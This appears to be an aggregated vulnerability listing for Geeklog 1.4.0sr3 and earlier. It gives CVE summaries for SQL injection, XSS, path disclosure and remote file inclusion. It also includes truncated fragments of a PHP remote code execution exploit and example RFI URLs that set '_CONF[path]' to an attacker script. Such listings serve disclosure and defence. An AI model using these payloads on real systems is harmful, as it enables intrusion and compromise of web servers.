GeekLog <= 1.4.0sr3 f(u)ckeditor Remote Code Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Geeklog = 1.4.0sr3 'fuckeditor' remote commands execution\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; //works regardless of any php.ini settings, //fckeditor very old 'mcpuk'...

GeekLog 1.4.0sr3 - f(u)ckeditor Remote Code Execution

GeekLog 1.4.0sr3 - fuckeditor Remote Code Execution !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n";...

GeekLog 1.4.0sr3 - '_CONF[path]' Remote File Inclusion

--------------------------------------------------------------------------- GeekLog www.site.com/path/publichtml/index.php http://www.site.com/path/plugins/links/functions.inc?CONFpath=EvilScript http://www.site.com/path/plugins/polls/functions.inc?CONFpath=EvilScript...

GeekLog <= 1.4.0sr3 (_CONF[path]) Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ===================================================================== GeekLog www.site.com/path/publichtml/index.php http://www.site.com/path/plugins/links/functions.inc?CONFpath=EvilScript...

GeekLog 1.4.0sr3 - 'f(u)ckeditor' Remote Code Execution

!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...

Sql injection

SQL injection vulnerability in admin/auth.inc.php in Geeklog 1.4.0sr2 and earlier allows remote attackers to execute arbitrary SQL commands and bypass authentication via the loginname parameter...

Sql injection

SQL injection vulnerability in Geeklog 1.4.0sr2 and earlier allows remote attackers to execute arbitrary SQL commands via unknown vectors related to story submission...

CVE-2006-2701

SQL injection vulnerability in Geeklog 1.4.0sr2 and earlier allows remote attackers to execute arbitrary SQL commands via unknown vectors related to story submission...

Path traversal

Geeklog 1.4.0sr2 and earlier allows remote attackers to obtain the full installation path via a direct request and possibly invalid arguments to 1 layout/professional/functions.php or 2 getimage.php...

CVE-2006-2698

Geeklog 1.4.0sr2 and earlier allows remote attackers to obtain the full installation path via a direct request and possibly invalid arguments to 1 layout/professional/functions.php or 2 getimage.php...

CVE-2006-2699

Cross-site scripting XSS vulnerability in getimage.php in Geeklog 1.4.0sr2 and earlier allows remote attackers to inject arbitrary HTML or web script via the image argument in a show action...

CVE-2006-2700

SQL injection vulnerability in admin/auth.inc.php in Geeklog 1.4.0sr2 and earlier allows remote attackers to execute arbitrary SQL commands and bypass authentication via the loginname parameter...

CVE-2006-2698

Geeklog 1.4.0sr2 and earlier is affected by a path-disclosure vulnerability. Remote attackers can obtain the full installation path by sending direct requests to layout/professional/functions.php or getimage.php with possibly invalid arguments. No remediation details are provided in the supplied ...

CVE-2006-2699

Geokay: CVE-2006-2699 is a documented Cross-site Scripting (XSS) vulnerability in Geeklog 1.4.0sr2 and earlier. The flaw exists in getimage.php’s show action where the image parameter can be exploited to inject arbitrary HTML or web script, enabling remote attackers to run injected content in a v...

CVE-2006-2701

The CVE-2006-2701 issue affects Geeklog ≤ 1.4.0sr2, and is a SQL injection vulnerability in the story submission path that could allow remote attackers to execute arbitrary SQL commands. The connected documents confirm affected software and the underlying vulnerability type but do not provide con...

CVE-2006-2699

Cross-site scripting XSS vulnerability in getimage.php in Geeklog 1.4.0sr2 and earlier allows remote attackers to inject arbitrary HTML or web script via the image argument in a show action...

CVE-2006-2698

Geeklog 1.4.0sr2 and earlier allows remote attackers to obtain the full installation path via a direct request and possibly invalid arguments to 1 layout/professional/functions.php or 2 getimage.php...

CVE-2006-2701

SQL injection vulnerability in Geeklog 1.4.0sr2 and earlier allows remote attackers to execute arbitrary SQL commands via unknown vectors related to story submission...

CVE-2006-2700

CVE-2006-2700 affects Geeklog 1.4.0sr2 and earlier, with a SQL injection in admin/auth.inc.php via the loginname parameter that can enable remote arbitrary SQL execution and authentication bypass. Connected sources indicate the issue is part of Geeklog

Geeklog auth.inc.php loginname Parameter SQL Injection

The version of Geeklog installed on the remote fails to sanitize input to the 'loginname' and 'passwd' parameters before using it in the script 'admin/auth.inc.php' to construct database queries. Provided PHP's 'magicquotesgpc' setting is enabled, an unauthenticated attacker can exploit this flaw...